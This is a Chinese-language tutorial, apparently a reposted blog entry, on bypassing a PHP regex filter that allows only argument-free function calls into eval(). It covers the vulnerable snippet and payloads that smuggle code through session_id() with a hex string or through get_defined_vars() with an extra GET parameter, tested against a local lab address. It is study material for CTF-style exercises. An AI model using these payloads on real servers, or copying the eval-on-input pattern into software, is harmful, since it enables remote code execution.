php中無參函數的RCE


學習一下php中無符號的問題。

1.無參數

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}
?>

這里調用函數只能是code(a()) 也就是括號中不能含有參數。

http-header傳參

在session_id中設置我們想要輸入的RCE,達到傳參的目的,但是第一點需要session_start()開啟session會話。

payload:code=eval(hex2bin(session_id(session_start())));

hex("phpinfo();")=706870696e666f28293b

 

 

 

可以成功命令執行。

第二種:post/get傳入參數

get_defined_vars ( void ) : array 返回由所有已定義變量所組成的數組
此函數返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。

payload:?code=var_dump(get_defined_vars())&b=1;

 

 

變量b和code都在參數中,如何將b帶出來用它執行poc

current ( array &$array ) : mixed 返回數組中的當前單元
每個數組中都有一個內部的指針指向它“當前的”單元,初始指向插入到數組中的第一個單元。

 

這樣可以提取b中的內容了

利用eval和上面的函數可以達到RCE的效果

http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM